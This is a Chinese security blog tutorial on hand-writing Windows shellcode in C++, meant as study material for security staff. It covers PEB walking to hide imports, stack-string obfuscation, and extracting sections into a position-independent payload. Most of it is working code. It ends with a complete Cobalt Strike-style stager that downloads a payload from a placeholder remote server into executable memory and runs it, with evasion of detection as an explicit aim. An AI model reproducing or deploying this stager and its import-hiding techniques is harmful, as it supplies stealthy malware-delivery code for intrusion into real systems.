免责声明
锦鲤安全的技术文章仅供参考,此文所提供的信息仅供网络安全人员学习和参考,未经授权请勿利用文章中的技术资料对任何计算机系统进行入侵操作。利用此文所提供的信息而造成的直接或间接后果和损失,均由使用者本人负责。如有侵权烦请告知,我们会立即删除并致歉。本文所提供的工具仅用于学习,禁止用于其他,请在24小时内删除工具文件!谢谢!
前言
使用 VS 通过 C++ 快速简单的编写 Shellcode,并且直接在 Shellcode 中使用常量字符串、全局变量。
PE 基础和 Shellcode 编写原理
PEB 攀爬完全隐藏导入表
编写一个与 MessageBox 的 Shellcode
在 Shellcode 中使用全局字符串和常量、变量
使用优化压缩 Shellcode 的大小
编写一个 CS Stager 的 Shellcode
一、基础知识
1. PE 文件的基本结构和作用
2. PE 文件加载流程
3. 章节总结
二、编写 MessageBox Shellcode
1. 开始
2. 完全隐藏导入表
3. 栈字符串
4. 生成真正的 shellcode
三、Shellcode 编写进阶
1. 原因
2. 设置对齐
3. 使用常量字符串和全局常量
4. 使用优化压缩
四、编写 Stager
五、问题答疑环节
最后
一、基础知识
Shellcode 本质就是一段与位置无关的汇编代码。要将 C++ 代码变成 shellcode,首先需要了解一下 PE 文件结构和加载流程。
1. PE 文件的基本结构和作用
由于只提取了 .text section,没有其它 section,意味着不能在 C++ 代码中使用全局字符串、全局常量和变量,shellcode 编写起来比较麻烦。当然,后面会教大家如何解决这些问题,在 shellcode 中使用全局字符串和全局变量。
2. PE 文件加载流程
将 PE 文件按照内存结构重新映射进内存中:PE Header 和各个 Section 按照内存偏移映射到内存中
修复导入表:我们引用的各种 Windows api 会出现在导入表中,在加载时经过修复之后才能调用
修复重定向表:开启了随机基址之后会构建一张导入表,在加载时通过该表对各个地址进行重定向修正
修复 tls 重定向、修复 C++ 异常、延迟导入表
执行入口点
避免重新映射:直接提取 .text section 作为 shellcode
避免导入表:在 C++ 代码中避免直接使用任何 Windows API,改成通过 PEB 攀爬动态获取 API
避免重定向表:在链接器中关闭随机基址
避免 tls 重定向、修复 C++ 异常、延迟导入:在 C++ 代码中避免使用 tls 和 C++ 异常处理,不使用延迟导入
执行入口点:入口点则为 main 函数,为保证 shellcode 能正常执行,main 函数必须是在 shellcode 的开头
PE 在磁盘中的文件对齐是 0x200,因此 PE Header 和各个 secion 的大小都必须是 0x200 的倍数,而 PE 在内存中的对齐是 0x1000,在内存中PE Header 和各个 secion 的大小都必须是 0x1000 的倍数。
文件对齐和内存对齐的不同导致了 PE 加载时需要重新映射,重新映射后会在 section 中产生间隙。当然,.text section 后面的间隙本质上还是属于 .text section。
我们直接提取了 .text section,没有其它结构,以此避免重新映射。
3. 章节总结
对前面两小节的内容进行一下总结,C++ 编写 shellcode 时需要注意的事项:
不能使用导入表,在 C++ 代码中使用的所有 Windows API 需要通过 PEB 攀爬动态获取
不能在 C++ 代码中使用全局字符串、全局常量和变量
在 C++ 代码中避免使用 tls 和 C++ 异常处理,不使用延迟导入
将 main 函数设置为入口点并处于 shellcode 开头
编译时关闭随机基址,避免 shellcode 需要重定向
编译后提取 .text section 即为我们的 shellcode
二、编写 MessageBox Shellcode
1. 开始
int main()
{
MessageBoxA(NULL, "hello, 锦鲤安全!", "hello, 锦鲤安全!", MB_OK);
}
通过 GetModuleHandle 获取 Kernel32 模块地址
使用 GetProcAddress 从 Kernel32 模块中获取 LoadLibraryA、GetProcAddress 函数地址
通过获取的 LoadLibraryA 函数加载 User32 模块
再从 User32 中获取 MessageBoxA 函数地址
获取到 lpLoadLibraryA 和 lpGetProcAddress 函数地址后,我们就可以通过这两个函数来动态获取其它任何函数的地址了。
typedef HMODULE(WINAPI* pLoadLibraryA)(LPCSTR lpLibFileName);
typedef FARPROC(WINAPI* pGetProcAddress)(HMODULE hModule, LPCSTR lpProcName);
typedef int (WINAPI* pMessageBoxA)(HWND hWnd, LPCSTR lpText, LPCSTR lpCaption, UINT uType);
int main()
{
HMODULE hKernel32 = GetModuleHandleW(L"Kernel32.dll");
auto lpLoadLibraryA = (pLoadLibraryA)GetProcAddress(hKernel32, "LoadLibraryA");
auto lpGetProcAddress = (pGetProcAddress)GetProcAddress(hKernel32, "GetProcAddress");
HMODULE hUser32 = lpLoadLibraryA("User32.dll");
auto lpMessageBoxA = (pMessageBoxA)lpGetProcAddress(hUser32, "MessageBoxA");
lpMessageBoxA(NULL, "hello, 锦鲤安全!", "hello, 锦鲤安全!", MB_OK);
}
前一节中,通过 GetModuleHandle 和 GetProcAddress 函数动态获取函数地址,隐藏了部分 api,但是还有 GetModuleHandle 和 GetProcAddress 函数没有隐藏,下面我们自己实现,GetModuleHandle 函数和 GetProcAddress 函数,通过 PEB 攀爬完全隐藏导入表。
在线程的线程环境块(TEB)中的 ProcessEnvironmentBlock 字段保存了进程环境块(PEB)地址,然后 PEB 的 Ldr 字段保存了加载到进程中模块的链表,我们通过遍历该链表即可获取到 kernel32 模块的地址,原理很简单。
BOOL wcmp(PCWSTR str1, PCWSTR str2) {
for (int i = 0, s1, s2; str1[i] != 0 && str2[i] != 0; i++) {
s1 = str1[i];
s2 = str2[i];
if (s1 >= 'A' && s1 <= 'Z') {
s1 += 32;
}
if (s2 >= 'A' && s2 <= 'Z') {
s2 += 32;
}
if (s1 != s2) {
return FALSE;
}
}
return TRUE;
}
HMODULE SelfGetModuleHandle(LPCWSTR lpModuleName)
{
#ifndef _WIN64
PPEB peb = (PPEB)__readfsdword(0x30); // x86 的 PEB 在 fs 段的 0x30 处取得
#else
PPEB peb = (PPEB)__readgsqword(0x60); // x64 的 PEB 在 gs 段的 0x60 处取得
#endif
PLIST_ENTRY Hdr = &peb->Ldr->InLoadOrderModuleList;
PLIST_ENTRY Ent = Hdr->Flink;
for (; Hdr != Ent; Ent = Ent->Flink)
{
PLDR_DATA_TABLE_ENTRY Ldr = (PLDR_DATA_TABLE_ENTRY)(Ent);
if (wcmp(Ldr->BaseDllName.Buffer, lpModuleName))
{
return (HMODULE)Ldr->DllBase;
};
};
return NULL;
};
这里不建议用汇编,能用 C++ 写就直接用 C++ 写,不要在其中穿插汇编,没有什么意义,某些培训班出来的就喜欢在这里穿插一段汇编,一套代码传千年。
我们通过自己实现的 SelfGetModuleHandle 函数获取得 Kernel32 函数的基址后,基址实际上指向 DOS Header,通过 DOS Header 获取到 NT Header 偏移,通过NT Header 获取到 Optional Header,再通过 Optional Header 的 DataDirectory 数组获取到导出表,通过导出表下的三个数组,AddressOfNames 函数名数组、AddressOfFunctions 函数地址数组、AddressOfNameOrdinals 函数名索引地址数组,即可遍历导出函数。
BOOL cmp(PCSTR str1, PCSTR str2) {
for (int i = 0, s1, s2; str1[i] != 0 && str2[i] != 0; i++) {
s1 = str1[i];
s2 = str2[i];
if (s1 >= 'A' && s1 <= 'Z') {
s1 += 32;
}
if (s2 >= 'A' && s2 <= 'Z') {
s2 += 32;
}
if (s1 != s2) {
return FALSE;
}
}
return TRUE;
}
FARPROC SelfGetProcAddress(HMODULE hModule, LPCSTR lpProcName)
{
PIMAGE_DOS_HEADER Hdr = (PIMAGE_DOS_HEADER)hModule;
PIMAGE_NT_HEADERS Nth = (PIMAGE_NT_HEADERS)((DWORD_PTR)Hdr + Hdr->e_lfanew);
PIMAGE_DATA_DIRECTORY Dir = &Nth->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT];
if (Dir->VirtualAddress)
{
PIMAGE_EXPORT_DIRECTORY Exp = (PIMAGE_EXPORT_DIRECTORY)((DWORD_PTR)Hdr + Dir->VirtualAddress);
PDWORD Aon = (PDWORD)((DWORD_PTR)Hdr + Exp->AddressOfNames);
PDWORD Aof = (PDWORD)((DWORD_PTR)Hdr + Exp->AddressOfFunctions);
PWORD Aoo = (PWORD)((DWORD_PTR)Hdr + Exp->AddressOfNameOrdinals);
for (ULONG Idx = 0; Idx < Exp->NumberOfNames; ++Idx)
{
if (cmp((PCSTR)((DWORD_PTR)Hdr + Aon[Idx]), lpProcName))
{
return (FARPROC)((DWORD_PTR)Hdr + Aof[Aoo[Idx]]);
};
};
};
return NULL;
};
int main()
{
HMODULE hKernel32 = SelfGetModuleHandle(L"Kernel32.dll");
auto lpLoadLibraryA = (pLoadLibraryA)SelfGetProcAddress(hKernel32, "LoadLibraryA");
auto lpGetProcAddress = (pGetProcAddress)SelfGetProcAddress(hKernel32, "GetProcAddress");
HMODULE hUser32 = lpLoadLibraryA("User32.dll");
auto lpMessageBoxA = (pMessageBoxA)lpGetProcAddress(hUser32, "MessageBoxA");
lpMessageBoxA(NULL, "hello, 锦鲤安全!", "hello, 锦鲤安全!", MB_OK);
}
3. 栈字符串
__declspec(code_seg(".text$A")) int main()
{
wchar_t sKernel32[] = { 0x4b, 0x65, 0x72, 0x6e, 0x65, 0x6c, 0x33, 0x32, 0x2e, 0x64, 0x6c, 0x6c, 0x00 };
HMODULE hKernel32 = SelfGetModuleHandle(sKernel32);
char sLoadLibraryA[] = { 0x4c, 0x6f, 0x61, 0x64, 0x4c, 0x69, 0x62, 0x72, 0x61, 0x72, 0x79, 0x41, 0x00 };
auto lpLoadLibraryA = (pLoadLibraryA)SelfGetProcAddress(hKernel32, sLoadLibraryA);
char sGetProcAddress[] = { 0x47, 0x65, 0x74, 0x50, 0x72, 0x6f, 0x63, 0x41, 0x64, 0x64, 0x72, 0x65, 0x73, 0x73, 0x00 };
auto lpGetProcAddress = (pGetProcAddress)SelfGetProcAddress(hKernel32, sGetProcAddress);
char sUser32[] = { 0x55, 0x73, 0x65, 0x72, 0x33, 0x32, 0x2e, 0x64, 0x6c, 0x6c, 0x00 };
HMODULE hUser32 = lpLoadLibraryA(sUser32);
char sMessageBoxA[] = { 0x4d, 0x65, 0x73, 0x73, 0x61, 0x67, 0x65, 0x42, 0x6f, 0x78, 0x41, 0x00 };
auto lpMessageBoxA = (pMessageBoxA)lpGetProcAddress(hUser32, sMessageBoxA);
char hello[] = { 0x68, 0x65, 0x6c, 0x6c, 0x6f, 0x2c, 0x20, 0xbd, 0xf5, 0xc0, 0xf0, 0xb0, 0xb2, 0xc8, 0xab, 0xa3, 0xa1, 0x00 };
lpMessageBoxA(NULL, hello, hello, MB_OK);
}
但是现在生成的还不是 shellcode,进入下一阶段,生成真正的 shellcode
4. 生成真正的 shellcode
发现 1、2、3 点我们已经完成了,现在需要将 main 函数设置为入口点,并设置为 shellcode 开头。
__declspec(code_seg(".text$A")) int main {}
到这里第4点就完成了。
三、Shellcode 编写进阶
1. 原因
回顾一下基础知识,聪明的你一定发现了,我们之所以不能在 shellcode 中使用常量字符串和全局常量和变量是因为我们只提取了 .text 区段作为 shellcode,如果我们把 .rdata 和 .data 区段带上不就能在 shellcode 中使用常量字符串和全局常量、变量了吗?
当然,我们一般只使用常量字符串和全局常量,不使用全局变量,因为使用全局变量意味着执行 shellcode 时需要使用 rwx 权限,我们为了隐蔽性应该尽量避免 rwx 权限。由于不使用全局变量,所以我们只需要携带 .text 和 .rdata 两个区段就足够了。
2. 设置对齐
接下来只需要提取处 .text 和 .rdata 就是我们的 shellcode 了。
3. 使用常量字符串和全局常量
const wchar_t sKernel[] = L"Kernel32.dll";
__declspec(code_seg(".text$A")) int main()
{
HMODULE hKernel32 = SelfGetModuleHandle(sKernel);
auto lpLoadLibraryA = (pLoadLibraryA)SelfGetProcAddress(hKernel32, "LoadLibraryA");
auto lpGetProcAddress = (pGetProcAddress)SelfGetProcAddress(hKernel32, "GetProcAddress");
HMODULE hUser32 = lpLoadLibraryA("User32.dll");
auto lpMessageBoxA = (pMessageBoxA)lpGetProcAddress(hUser32, "MessageBoxA");
lpMessageBoxA(NULL, "hello, 锦鲤安全!", "hello, 锦鲤安全!", MB_OK);
}
4. 使用优化压缩
四、编写 Stager
const char url[] = "http://x.x.x.x:80/api/v1/pres";
__declspec(code_seg(".text$A")) int main()
{
HMODULE hKernel32 = SelfGetModuleHandle(L"Kernel32.dll");
auto lpLoadLibraryA = (pLoadLibraryA)SelfGetProcAddress(hKernel32, "LoadLibraryA");
auto lpGetProcAddress = (pGetProcAddress)SelfGetProcAddress(hKernel32, "GetProcAddress");
auto lpVirtualAlloc = (pVirtualAlloc)lpGetProcAddress(hKernel32, "VirtualAlloc");
HMODULE hWininet = lpLoadLibraryA("Wininet.dll");
auto lpInternetOpenA = (pInternetOpenA)lpGetProcAddress(hWininet, "InternetOpenA");
auto lpInternetOpenUrlA = (pInternetOpenUrlA)lpGetProcAddress(hWininet, "InternetOpenUrlA");
auto lpInternetReadFile = (pInternetReadFile)lpGetProcAddress(hWininet, "InternetReadFile");
HINTERNET hInternet = lpInternetOpenA(NULL, INTERNET_OPEN_TYPE_DIRECT, NULL, NULL, 0);
HINTERNET hUrl = lpInternetOpenUrlA(hInternet, url, NULL, 0, INTERNET_FLAG_RELOAD, 0);
if (hUrl) {
DWORD content_len = 1024 * 1024 * 5;
PUCHAR buf = (PUCHAR)lpVirtualAlloc(0, content_len, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
DWORD nread;
lpInternetReadFile(hUrl, buf, content_len, &nread);
if (nread) {
((void(*)())buf)();
}
}
}
五、问题答疑环节
可以使用空字节,不知道哪流传出来的写 shellcode 不能有空字节节...,除了某些利用缓冲区溢出漏洞利用的是 strcpy 等函数注入 shellcode 之外,大部分时候是不需要避免空字节的。
最后
本篇文章主要是以自己对 PE 的理解以自己的方式来编写 Shellcode。在 shellcode 中使用常量字符串在国外早有这一方面研究的文章了,但是国内还没有这一方面的文章,因此自己来写一篇。
小密圈
扫描下方二维码
加入内部交流群
点分享
点收藏
点点赞
点在看